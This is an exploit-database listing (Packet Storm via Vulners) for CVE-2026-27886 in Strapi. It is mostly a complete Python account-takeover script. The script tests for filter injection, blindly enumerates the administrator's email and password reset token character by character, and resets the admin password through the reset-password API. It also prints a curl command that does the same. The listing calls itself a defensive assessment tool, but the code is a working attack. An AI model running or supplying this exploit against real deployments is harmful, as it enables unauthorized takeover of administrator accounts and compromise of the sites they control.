Lucene search
K

📄 Strapi Filter Injection Administrator Password Reset

🗓️ 06 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 22 Views

Tool assesses Strapi filter injection risks in admin password reset flow for CVE-2026-27886.

Related
Code
==================================================================================================================================
    | # Title     : Strapi Filter Injection Administrator Password Reset                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://strapi.io/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    :  This tool assesses whether filter injection weaknesses can impact administrator account recovery workflows in Strapi deployments (CVE-2026-27886).
                      It validates exposure conditions, evaluates enumeration risks,and analyzes password reset flow behavior for defensive security testing.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import json
    import sys
    import urllib.error
    import urllib.parse
    import urllib.request
    import time
    import re
    
    USER_AGENT = "CVE-2026-27886-Exploit/1.0"
    
    EMAIL_ALPHABET = "[email protected]_+"
    TOKEN_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:."
    
    class ExploitError(Exception):
        pass
    def http_get_json(url, timeout=10):
        """Perform GET request and return JSON response"""
        req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
        try:
            with urllib.request.urlopen(req, timeout=timeout) as r:
                body = r.read().decode("utf-8")
                return json.loads(body)
        except Exception as e:
            raise ExploitError(f"Request failed: {e}")
    
    def http_post_json(url, data, timeout=10):
        """Perform POST request with JSON body"""
        headers = {
            "User-Agent": USER_AGENT,
            "Content-Type": "application/json"
        }
        req = urllib.request.Request(url, data=json.dumps(data).encode(), headers=headers)
        try:
            with urllib.request.urlopen(req, timeout=timeout) as r:
                body = r.read().decode("utf-8")
                return json.loads(body)
        except urllib.error.HTTPError as e:
            try:
                return json.loads(e.read().decode())
            except:
                return {"error": f"HTTP {e.code}"}
        except Exception as e:
            raise ExploitError(f"POST failed: {e}")
    
    def pagination_total(data):
        """Extract total from Strapi pagination meta"""
        if not isinstance(data, dict):
            return 0
        meta = data.get("meta") or {}
        pagination = meta.get("pagination") or {}
        return int(pagination.get("total") or 0)
    
    def query_count(endpoint, params):
        """Get count of items matching filter parameters"""
        url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
        return pagination_total(http_get_json(url))
    
    def is_vulnerable(endpoint):
        """Check if target is vulnerable using where[id][$lt]=-1 test"""
        baseline = query_count(endpoint, {})
        if baseline == 0:
            return False, baseline, "Collection empty or no find permission"
        
        test_params = {"where[id][$lt]": "-1"}
        test_count = query_count(endpoint, test_params)
        
        vulnerable = (test_count == 0)
        return vulnerable, baseline, test_count
    
    def blind_enum_field(endpoint, field_path, prefix="", alphabet=None, max_len=64, delay=0):
        """
        Blindly enumerate a field using $startsWith filter
        field_path format: "relation[field]" e.g., "updatedBy[email]"
        """
        if alphabet is None:
            alphabet = EMAIL_ALPHABET
        
        result = prefix
        for _ in range(max_len):
            found_char = None
            for char in alphabet:
                candidate = result + char
                params = {f"where[{field_path}][$startsWith]": candidate}
                
                try:
                    count = query_count(endpoint, params)
                    if count > 0:
                        found_char = char
                        print(char, end="", flush=True)
                        break
                except:
                    continue
                
                if delay:
                    time.sleep(delay)
            
            if found_char is None:
                break
            result += found_char
        
        return result
    def enumerate_admin_email(endpoint, delay=0):
        """Enumerate administrator email address"""
        print("[*] Enumerating admin email: ", end="", flush=True)
        email = blind_enum_field(endpoint, "updatedBy[email]", alphabet=EMAIL_ALPHABET, delay=delay)
        print()
        return email
    
    def enumerate_reset_token(endpoint, admin_email, delay=0):
        """Enumerate password reset token using the admin email as reference"""
        verify_params = {f"where[updatedBy][email][$eq]": admin_email}
        if query_count(endpoint, verify_params) == 0:
            raise ExploitError(f"Could not verify admin email: {admin_email}")
        
        print(f"[*] Enumerating reset token for {admin_email}")
        print("[*] Token: ", end="", flush=True)
    
        token_alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_:"
        token = blind_enum_field(
            endpoint, 
            "updatedBy[resetPasswordToken]", 
            alphabet=token_alphabet,
            delay=delay
        )
        print()
        return token
    
    def trigger_password_reset(base_url, token, new_password, email):
        """
        Trigger the actual password reset using the stolen token
        POST /api/auth/reset-password
        """
        reset_url = f"{base_url.rstrip('/')}/api/auth/reset-password"
        
        payload = {
            "code": token,
            "password": new_password,
            "passwordConfirmation": new_password
        }
        
        print(f"[*] Attempting password reset for {email}")
        print(f"[*] POST {reset_url}")
        
        result = http_post_json(reset_url, payload)
        
        if "jwt" in result:
            print(f"[+] SUCCESS! New password: {new_password}")
            print(f"[+] JWT: {result['jwt']}")
            return result.get("jwt")
        elif "error" in result:
            print(f"[-] Reset failed: {result.get('error', {}).get('message', 'Unknown error')}")
            return None
        else:
            print(f"[-] Unexpected response: {json.dumps(result, indent=2)}")
            return None
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-27886 - Full Account Takeover Exploit",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    EXAMPLE:
      python3 exploit.py http://target.com --new-password pwned123!
      python3 exploit.py http://target.com --enum-only
      python3 exploit.py http://target.com --email [email protected] --token abc123
            """
        )
       
        parser.add_argument("target", help="Target base URL (e.g., http://target.com)")
        parser.add_argument("--collection", default="api/users", 
                           help="Content type collection (default: api/users)")
        parser.add_argument("--enum-only", action="store_true",
                           help="Only enumerate email and token, don't reset password")
        parser.add_argument("--new-password", help="New password to set for admin account")
        parser.add_argument("--email", help="Skip email enumeration, use provided email")
        parser.add_argument("--token", help="Skip token enumeration, use provided token")
        parser.add_argument("--delay", type=float, default=0.1,
                           help="Delay between requests to avoid rate limiting")
        
        args = parser.parse_args()
    
        endpoint = f"{args.target.rstrip('/')}/{args.collection.lstrip('/')}"
        print(f"[+] Target endpoint: {endpoint}")
        print("\n[+] Testing vulnerability...")
        try:
            vulnerable, baseline, test = is_vulnerable(endpoint)
        except Exception as e:
            print(f"[-] Error testing: {e}")
            return 1
        
        if not vulnerable:
            print(f"[-] NOT VULNERABLE: baseline={baseline}, test={test}")
            print("    Target appears patched (Strapi >= 5.37.0)")
            return 1
        
        print(f"[+] VULNERABLE confirmed! baseline={baseline}, test={test}")
    
        admin_email = args.email
        if not admin_email:
            try:
                admin_email = enumerate_admin_email(endpoint, args.delay)
                if not admin_email or len(admin_email) < 5:
                    print("[-] Failed to enumerate admin email")
                    return 1
                print(f"[+] Admin email: {admin_email}")
            except Exception as e:
                print(f"[-] Email enumeration failed: {e}")
                return 1
        else:
            print(f"[+] Using provided email: {admin_email}")
        
        if args.enum_only:
            print("[+] Enumeration complete (--enum-only mode)")
            return 0
    
        reset_token = args.token
        if not reset_token:
            try:
                reset_token = enumerate_reset_token(endpoint, admin_email, args.delay)
                if not reset_token or len(reset_token) < 20:
                    print("[-] Failed to enumerate reset token")
                    print("[!] Token may not exist or user hasn't requested password reset")
                    print("[!] Admin accounts without pending reset tokens cannot be taken over")
                    return 1
                print(f"[+] Reset token: {reset_token}")
            except Exception as e:
                print(f"[-] Token enumeration failed: {e}")
                return 1
        else:
            print(f"[+] Using provided token: {reset_token}")
        if args.new_password:
            print(f"\n[+] Attempting account takeover...")
            jwt = trigger_password_reset(args.target, reset_token, args.new_password, admin_email)
            if jwt:
                print(f"\n[+] ACCOUNT TAKEOVER SUCCESSFUL!")
                print(f"[+] Login with: {admin_email} / {args.new_password}")
            else:
                print("\n[-] Account takeover failed!")
                return 1
        else:
            print(f"\n[+] To takeover account, re-run with --new-password <password>")
            print(f"[+] Or use: curl -X POST {args.target}/api/auth/reset-password \\")
            print(f"     -H 'Content-Type: application/json' \\")
            print(f"     -d '{{\"code\":\"{reset_token}\",\"password\":\"newpass\"}}'")
        
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.5
CVSS 49.2
EPSS0.00612
22